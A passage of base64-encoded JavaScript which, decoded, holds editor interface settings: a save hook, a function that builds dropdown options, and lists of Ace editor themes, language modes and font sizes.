CAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA